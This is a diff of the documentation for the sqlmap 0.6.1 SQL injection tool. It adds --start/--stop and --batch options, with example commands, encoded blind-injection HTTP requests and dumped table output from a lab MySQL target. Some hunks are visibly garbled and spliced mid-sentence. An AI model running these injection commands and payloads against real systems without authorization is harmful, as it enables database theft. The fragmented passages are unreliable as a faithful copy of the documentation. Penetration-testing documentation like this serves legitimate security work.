diff --git a/doc/ChangeLog b/doc/ChangeLog
index 66b4c6d58..e20b5e146 100644
--- a/doc/ChangeLog
+++ b/doc/ChangeLog
@@ -2,7 +2,7 @@ sqlmap (0.6.1-1) stable; urgency=low
* Major bug fix to blind SQL injection bisection algorithm to handle an
exception;
- * Added a Metasploit 3 auxiliary module to run sqlmap;
+ * Added a Metasploit Framework 3 auxiliary module to run sqlmap;
* Implemented possibility to test for and inject also on LIKE
statements;
* Implemented --start and --stop options to set the first and the last
@@ -12,6 +12,9 @@ sqlmap (0.6.1-1) stable; urgency=low
* Minor enhancement to save also the length of query output in the
session file when retrieving the query output length for ETA or for
resume purposes;
+ * Changed the order sqlmap dump table entries from column by column to
+ row by row. Now it also dumps entries as they are stored in the tables,
+ not forcing the entries' order alphabetically anymore;
* Minor bug fix to correctly handle parameters' value with % character.
-- Bernardo Damele A. G. SELECT statement syntax to
+string and all of these three datatypes with zero to two parenthesis
+to correctly detect which is the SELECT statement syntax to
perform further injections with. It is also possible to specify the
parameter(s) that you want to perform tests and use for injection on.
magic_quotes_gpc bypass by encoding
every query string, between single quotes, with CHAR, or similar,
database management system function.
$ python sqlmap.py -h
- sqlmap/0.6.1.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
+ sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Usage: sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}
@@ -379,13 +382,16 @@ Options:
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables (opt: -D)
--columns Enumerate DBMS database table columns (req: -T, -D)
- --dump Dump DBMS database table entries (req: -T, -D opt: -C)
+ --dump Dump DBMS database table entries (req: -T, -D opt: -C,
+ --start, --stop)
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table to enumerate
-C COL DBMS database table column to enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
+ --start=LIMITSTART First table entry to dump
+ --stop=LIMITSTOP Last table entry to dump
--sql-query=QUERY SQL SELECT query to be executed
--sql-shell Prompt for an interactive SQL shell
@@ -417,6 +423,7 @@ Options:
-s SESSIONFILE Save and resume all data retrieved on a session file
-c CONFIGFILE Load options from a configuration INI file
--save Save options on a configuration INI file
+ --batch Never ask for user input, use the default behaviour
@@ -528,7 +535,7 @@ $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat
[hh:mm:28] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
-User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:29] [INFO] testing MySQL
@@ -537,7 +544,7 @@ Connection: close
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1
Host: 192.168.1.121:80
-User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
@@ -555,7 +562,7 @@ $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat
[hh:mm:32] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
-User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200):
@@ -573,7 +580,7 @@ Content-Type: text/html
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1
Host: 192.168.1.121:80
-User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200):
@@ -600,7 +607,7 @@ $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat
[hh:mm:23] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
-User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200):
@@ -2042,7 +2049,8 @@ is connected to, which is always public.
Options: --dump, -C, -T and -D
Options: --dump, -C, -T, -D,
+--start and --stop
It is possible to dump the entries for a specific database table.
This functionality depends on both -T to specify the table name
@@ -2058,15 +2066,15 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&ca
Database: test
Table: users
[5 entries]
-+----+--------------------------------------------+-------------------+
-| id | name | surname |
-+----+--------------------------------------------+-------------------+
-| 1 | luther | blissett |
-| 2 | fluffy | bunny |
-| 3 | wu | ming |
++----+----------------------------------------------+-------------------+
+| id | name | surname |
++----+----------------------------------------------+-------------------+
+| 1 | luther | blissett |
+| 2 | fluffy | bunny |
+| 3 | wu | ming |
| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
-| 5 | NULL | nameisnull |
-+----+--------------------------------------------+-------------------+
+| 5 | NULL | nameisnull |
++----+----------------------------------------------+-------------------+
You can also provide the --start and/or the --stop option
+to limit the dump to a range of entries.
+
--start specifies the first entry to enumerate--stop specifies the last entry to enumerateExample on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump \
+ -T users -D test --start 2 --stop 4
+
+Database: test
+Table: users
+[3 entries]
++----+----------------------------------------------+-------------------+
+| id | name | surname |
++----+----------------------------------------------+-------------------+
+| 2 | fluffy | bunny |
+| 3 | wu | ming |
+| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
++----+----------------------------------------------+-------------------+
+
+
+
+
+As you can see, sqlmap is very flexible: you can leave it automatically +enumerate the whole database table up to a single column of a specific +table entry.
+Option: --save
It is possible to save the command line options to a configuration INI +file.
Example on a PostgreSQL 8.2.7 target:
@@ -3231,6 +3274,53 @@ banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.
+Option: --batch
If you want sqlmap to run as a batch tool, without interacting with you in
+case of a choice has to be done, you can force it by using --batch
+option than letting sqlmap go for a default behaviour.
Example on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_str.php?id=1&name=luther" -v 1 \
+ --batch
+
+[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
+[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
+[hh:mm:22] [INFO] GET parameter 'id' is dynamic
+[hh:mm:22] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
+[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'id'
+[hh:mm:22] [INFO] confirming unescaped numeric injection on GET parameter 'id'
+[hh:mm:22] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
+[hh:mm:22] [INFO] testing if GET parameter 'name' is dynamic
+[hh:mm:22] [INFO] confirming that GET parameter 'name' is dynamic
+[hh:mm:22] [INFO] GET parameter 'name' is dynamic
+[hh:mm:22] [INFO] testing sql injection on GET parameter 'name' with 0 parenthesis
+[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'name'
+[hh:mm:22] [INFO] GET parameter 'name' is not unescaped numeric injectable
+[hh:mm:22] [INFO] testing single quoted string injection on GET parameter 'name'
+[hh:mm:22] [INFO] confirming single quoted string injection on GET parameter 'name'
+[hh:mm:22] [INFO] GET parameter 'name' is single quoted string injectable with 0 parenthesis
+[hh:mm:22] [INFO] there were multiple injection points, please select the one to use to go ahead:
+[0] place: GET, parameter: id, type: numeric (default)
+[1] place: GET, parameter: name, type: stringsingle
+[q] Quit
+Choice: 0
+[hh:mm:22] [DEBUG] used the default behaviour, running in batch mode
+[...]
+back-end DBMS: MySQL >= 5.0.0
+
+
+
+
+As you can see, sqlmap choosed automatically to injection on the first +vulnerable parameter which is the default behaviour.
+ +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
diff --git a/doc/README.pdf b/doc/README.pdf
index 99e90c9a6..ed2cc1659 100644
Binary files a/doc/README.pdf and b/doc/README.pdf differ
diff --git a/doc/README.sgml b/doc/README.sgml
index 05e02a408..4c760fc18 100644
--- a/doc/README.sgml
+++ b/doc/README.sgml
@@ -207,8 +207,8 @@ those that vary the HTTP response page content.
On the dynamic ones sqlmap automatically tests and detects the ones
affected by SQL injection. Each dynamic parameter is tested for
numeric, single quoted string, double quoted
-string and all of these three datatypes with zero, one and two
-parenthesis to correctly detect which is the SELECT statement syntax to
+string and all of these three datatypes with zero to two parenthesis
+to correctly detect which is the SELECT statement syntax to
perform further injections with. It is also possible to specify the
parameter(s) that you want to perform tests and use for injection on.
-Options: --dump, -C, -T and -D
+Options: --dump, -C, -T, -D,
+--start and --stop
It is possible to dump the entries for a specific database table.
@@ -1994,15 +2002,15 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&ca
Database: test
Table: users
[5 entries]
-+----+--------------------------------------------+-------------------+
-| id | name | surname |
-+----+--------------------------------------------+-------------------+
-| 1 | luther | blissett |
-| 2 | fluffy | bunny |
-| 3 | wu | ming |
++----+----------------------------------------------+-------------------+
+| id | name | surname |
++----+----------------------------------------------+-------------------+
+| 1 | luther | blissett |
+| 2 | fluffy | bunny |
+| 3 | wu | ming |
| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
-| 5 | NULL | nameisnull |
-+----+--------------------------------------------+-------------------+
+| 5 | NULL | nameisnull |
++----+----------------------------------------------+-------------------+
@@ -2046,15 +2054,15 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&ca
Database: public
Table: users
[5 entries]
-+----+--------------------------------------------+-------------------+
-| id | name | surname |
-+----+--------------------------------------------+-------------------+
-| 1 | luther | blissett |
-| 2 | fluffy | bunny |
-| 3 | wu | ming |
++----+----------------------------------------------+-------------------+
+| id | name | surname |
++----+----------------------------------------------+-------------------+
+| 1 | luther | blissett |
+| 2 | fluffy | bunny |
+| 3 | wu | ming |
| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
-| 5 | | nameisnull |
-+----+--------------------------------------------+-------------------+
+| 5 | | nameisnull |
++----+----------------------------------------------+-------------------+
[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/software/sqlmap/output/
192.168.1.121/dump/public/users.csv'
@@ -2070,6 +2078,39 @@ $ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv
"5","","nameisnull"
+
+You can also provide the --start and/or the --stop option
+to limit the dump to a range of entries.
+
+
+Example on a
+As you can see, sqlmap is very flexible: you can leave it automatically
+enumerate the whole database table up to a single column of a specific
+table entry.
+
+It is possible to save the command line options to a configuration INI
+file.
Example on a
+Option: --batch
+
+
+If you want sqlmap to run as a batch tool, without interacting with you in
+case of a choice has to be done, you can force it by using --batch
+option than letting sqlmap go for a default behaviour.
+
+
+Example on a
+As you can see, sqlmap choosed automatically to injection on the first
+vulnerable parameter which is the default behaviour.
+
+
diff --git a/doc/THANKS b/doc/THANKS
index c5eac46ac..9b5fcdc97 100644
--- a/doc/THANKS
+++ b/doc/THANKS
@@ -87,12 +87,12 @@ M Simkin